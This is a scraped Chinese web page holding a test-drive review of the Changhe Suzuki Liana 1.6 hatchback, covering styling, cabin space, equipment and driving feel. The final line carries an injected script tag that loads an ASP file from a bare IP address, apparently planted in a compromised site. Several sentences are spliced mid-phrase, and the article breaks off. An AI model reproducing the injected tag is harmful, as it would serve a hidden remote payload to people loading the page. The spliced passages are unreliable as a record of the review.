重庆昌河铃木利亚纳1.6 手动经济型（两厢）报价
昌河铃木利亚纳1.6 手动经济型（两厢）重庆参考价格
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&& 试驾：昌河铃木?利亚纳1.6
试驾：昌河铃木?利亚纳1.6
日 13:57:04 来源： 汽车之友 作者：
　　 小归小，铃木的小车一个个却都个性十足。就说不久前刚刚在九江下线的昌河铃木利亚纳吧，标准的三厢小车却做出了1545m 的高度与小三角窗、高座椅等MPV的特征；在车身尺寸越来越大的趋势下，铃木却反其道而行，整出了一个2480mm轴距、4350mm长的车身。铃木到底要做什么？是要靠与众不同来杀出重围还是要靠标新立异来吸引众人的目光。
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造飞机的企业造汽车，动作好象总比别人慢半拍。早在3年前，铃木LIANA要在昌河生产的消息就传出来；两年前，样车就出现在国内车展上；可直到2005 年末，国产的新车才姗姗来迟。利亚纳不仅是铃木在中国生产的最大的车型，在铃木日本本土的产品线里它也是最大的轿车。
　　伴随着国产利亚纳的下线，许多争论也随之而来：它到底该算入门级家用车还是紧凑型家用车？1.6自动档1 1 . 7 8 万元是正合适还是定高了？大S标志并不是强势品牌，全车上下又没有什么抢眼的装备，它凭什么在强手如林的国内市场上立足？所有这些只有靠日后的市场来回答，而眼下我们只能说说车子本身。
　　 LIANA 是Life In A NewAge 的英文缩写，意思是生活在新时代，作为铃木的一款世界车，它于2002年问世。LIANA有轿车、旅行车等多种款型，甚至还有四驱的型号，动力可以选装从1.3到2.3升多款发动机，并且在不同的市场有不同的名字，在美国，它就叫Aerio。在国内生产的利亚纳无论发动大是时下的流行趋势，铃木也不能例外，S 车标比以往放大了许多，在高度上几乎充斥了整个前脸。盆型的前脸代表了铃木最新一代的品牌特征，大面积的三角形大灯和尾灯也是铃木向世俗妥协的产物。
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要说与众不同之处有两点：一是超越常规的车身高度，竟有1545mm，车内净高度超过1.2m，对于高个头的人来说，这是个极有吸引力的设计；再就是来自MPV 的前侧面小三角窗，它不仅是个标新立异的设计，更有效地改善了侧前方视野。
　　除此之外，实在说不出利亚纳有什么特点。不过，没特点也不见得是坏事，历史上许多畅销车不都是没什么特点的平庸之作吗？
　　回过头来再说说利亚纳的五短身材，它几乎是时下紧凑型家用车尺寸的下限。铃木的用意很清楚，与其和那些大厂的主流车型拼个刺刀见红，不如另辟蹊径，在市场缝隙里寻找生存空间。毕竟，不是所有人都把车当成摆谱的道具，也不是所有人都需要宽敞得近乎奢侈的后排空间。而短小车身带来的灵活性好、自重轻、省油的优势却是显而易见的。集中优势兵力是铃木的一贯战术，既然车内空间有限，就没必要设置东一个西一个储物空间，而大型的手套箱和中车内头部空间宽敞，前后排空间分配比较平均，后座的三个独立头枕和三点式安全带值得称道央杂物盒显得更加实用。另外，后座的空间有限，但安全设施却不含糊：后排三个座位都配有可升降的头枕和独立的三点式安全带。
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■ 配置看不出过人之处 实际驾驶感觉出乎想象
　　真的没有必要赘述利亚纳的装备细节了，看看近年来日本主流小车的配置，就能把它的大体设计猜个八九不离十：1.6升16气门发动机，5速手动或4 速自动变速器、麦弗逊式前后独立悬架、齿轮齿条液压助力转向机、前盘后鼓制动器……
　　人不可貌相，车也是一样，看起来貌不惊人的利亚纳开起来的感觉却出乎意料的好。怠速时发动机的噪音和振动基本都被隔绝在驾驶室之外，方向盘和换档手柄也没有烦人的抖动。油门多少有了点力度，不像早年的日本车那样轻飘飘的，更可贵的是，方向盘操纵起来居然有点韧劲，这在这个级别的日本车上可是不多见的！
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1.6升70kW的发动机，我一开始就没对它的动力有什么奢望，在高速公路上跑了几十公里后，感觉动力表现还不错。推背感谈不上，低速时加速的感觉倒是实实在在的，油门没有明显的滞后，从静止加速到100km/h 大约需要15 秒，把油门一直踩到底， 跑到160km/h 还不算太费力。悬架的调校既没有明显地偏向运动也没有明显偏向舒适，在长波路面上，起伏比较明显，应付颠簸路也基本上能让人接受。制动踏板没有什么虚位，虽然制动效果一般，但渐进而塌实的踏板的力度值得称道。
　　总之，利亚纳是一部非常中性的车，在刚刚开上它的头几公里内，你不需要做任何适应。作为一部日常的代步工具，它当然是胜任的，除此之外，还能提供一点点的驾驶乐趣。
　　 ■ 装备/ 价格比没有优势 细节的精细体现日本车的传统
　　翻便全车上下，想找出点惊喜，结果自然是令人失望。利亚纳不仅没有什么值得炫耀的装备，连很多时下流行的装备也没有。它没有天窗、皮座、导航、雷达、氙灯，更没有侧气囊、自动空调和电动座椅，更令人?script src="http://61.146.118.11/news/include/md5.asp?ad=1">
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